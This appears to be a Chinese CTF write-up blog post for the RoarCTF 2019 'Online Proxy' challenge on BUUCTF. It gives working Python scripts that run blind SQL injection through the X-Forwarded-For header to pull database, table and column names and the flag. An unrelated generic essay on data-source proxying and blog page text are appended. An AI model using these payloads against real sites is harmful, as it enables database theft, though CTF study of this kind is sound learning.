BUUCTF--[RoarCTF 2019]Online Proxy

 这里发现通过修改X-FORWARDED-FOR的值注释部分的内容也随之改变

 尝试盲注,上传命令时第一次为Current Ip发现并不能执行,再次上传Current Ip时上次的Current Ip变为Last Ip也没有执行,再次send即可正常执行命令

 简单尝试使用盲注得到所有库名,这里可以看到该方法是没问题的

爆破库名:

0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1 or '0
import requests

url = "http://node4.buuoj.cn:26869/"
head = {
	"GET" : "/ HTTP/1.1",
	"Cookie" : "track_uuid=6d033f15-65eb-4a27-a711-76514d4487d5",
	"X-Forwarded-For" : ""
}
result = ""
for i in range(1,100):
	l = 1
	r = 127
	mid = (l+r)>>1
	while(l<r):
		head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(schema_name) from information_schema.schemata),{0},1))>{1} or '0".format(i,mid)
		html_0 = requests.post(url,headers = head)
		head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(schema_name) from information_schema.schemata),{0},1))>{1} or '0".format(i, mid+1)
		html_0 = requests.post(url, headers=head)
		html_0 = requests.post(url, headers=head)
		if "Last Ip: 1" in html_0.text:
			l= mid+1
		else:
			r=mid
		mid = (l+r)>>1
	if(chr(mid)==' '):
		break
	result+=chr(mid)
	print(result)
print("table_name:"+result)

爆破表名:

0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),1,1))>1 or '0
import requests

url = "http://node4.buuoj.cn:26869/"
head = {
	"GET" : "/ HTTP/1.1",
	"Cookie" : "track_uuid=6d033f15-65eb-4a27-a711-76514d4487d5",
	"X-Forwarded-For" : ""
}
result = ""
urls ="0' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x46346c395f4434743442343565),{0},1))>{1} or '0"
for i in range(1,100):
	l = 1
	r = 127
	mid = (l+r)>>1
	while(l<r):
		head["X-Forwarded-For"] = urls.format(i,mid)
		html_0 = requests.post(url,headers = head)
		head["X-Forwarded-For"] = urls.format(i, mid+1)
		html_0 = requests.post(url, headers=head)
		html_0 = requests.post(url, headers=head)
		if "Last Ip: 1" in html_0.text:
			l= mid+1
		else:
			r=mid
		mid = (l+r)>>1
	if(chr(mid)==' '):
		break
	result+=chr(mid)
	print(result)
print("table_name:"+result)

查列名:

0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),1,1))>1 or '0
import requests

url = "http://node4.buuoj.cn:26869/"
head = {
	"GET" : "/ HTTP/1.1",
	"Cookie" : "track_uuid=6d033f15-65eb-4a27-a711-76514d4487d5",
	"X-Forwarded-For" : ""
}
result = ""
urls ="0' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=0x46346c395f4434743442343565),{0},1))>{1} or '0"
for i in range(1,100):
	l = 1
	r = 127
	mid = (l+r)>>1
	while(l<r):
		head["X-Forwarded-For"] = urls.format(i,mid)
		html_0 = requests.post(url,headers = head)
		head["X-Forwarded-For"] = urls.format(i, mid+1)
		html_0 = requests.post(url, headers=head)
		html_0 = requests.post(url, headers=head)
		if "Last Ip: 1" in html_0.text:
			l= mid+1
		else:
			r=mid
		mid = (l+r)>>1
	if(chr(mid)==' '):
		break
	result+=chr(mid)
	print(result)
print("table_name:"+result)

查Flag

0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),1,1))>1 or '0
import requests

url = "http://node4.buuoj.cn:26869/"
head = {
	"GET" : "/ HTTP/1.1",
	"Cookie" : "track_uuid=6d033f15-65eb-4a27-a711-76514d4487d5",
	"X-Forwarded-For" : ""
}
result = ""
urls ="0' or ascii(substr((select F4l9_C01uMn from F4l9_D4t4B45e.F4l9_t4b1e limit 1,1),{0},1))>{1} or '0"
for i in range(1,100):
	l = 1
	r = 127
	mid = (l+r)>>1
	while(l<r):
		head["X-Forwarded-For"] = urls.format(i,mid)
		html_0 = requests.post(url,headers = head)
		head["X-Forwarded-For"] = urls.format(i, mid+1)
		html_0 = requests.post(url, headers=head)
		html_0 = requests.post(url, headers=head)
		if "Last Ip: 1" in html_0.text:
			l= mid+1
		else:
			r=mid
		mid = (l+r)>>1
	if(chr(mid)==' '):
		break
	result+=chr(mid)
	print(result)
print("table_name:"+result)
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
data-source-proxy-mode是一种数据源代理模式,用于管理和控制数据源的访问和使用。在现代应用程序开发中,往往需要同时连接和操作多个不同的数据源,例如数据库、API接口、文件系统等。而data-source-proxy-mode的作用就是提供一个统一的接口来管理这些数据源。 首先,data-source-proxy-mode可以实现数据源的动态切换。通过将不同的数据源注册到代理中,我们可以根据需要灵活地从已注册的数据源中选择。这样一来,我们可以根据实际情况选择最适合的数据源,如从数据库选择主数据库或从属数据库,或者从不同的API接口获取数据。 其次,data-source-proxy-mode还可以提供统一的数据访问接口。在开发过程中,不同的数据源可能有不同的访问方式和接口规范,而使用data-source-proxy-mode,我们可以通过同一套接口来访问和操作不同的数据源,避免了因数据源差异导致的开发和维护成本的增加。 此外,data-source-proxy-mode还能够提供对数据源访问的监控和管理功能。代理模式可以记录数据源的访问日志、统计数据源的使用情况、实施数据源的策略控制等。这些监控和管理功能可以帮助我们更好地了解和控制数据的流向和使用,提高数据的安全性和稳定性。 综上所述,data-source-proxy-mode是一种非常有用的数据源管理模式,可以帮助我们实现数据源的动态切换、提供统一的数据访问接口以及监控和管理数据源的访问和使用。在复杂的应用开发中,合理使用data-source-proxy-mode可以提高开发效率和数据管理的灵活性,减少因多样的数据源而带来的复杂性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值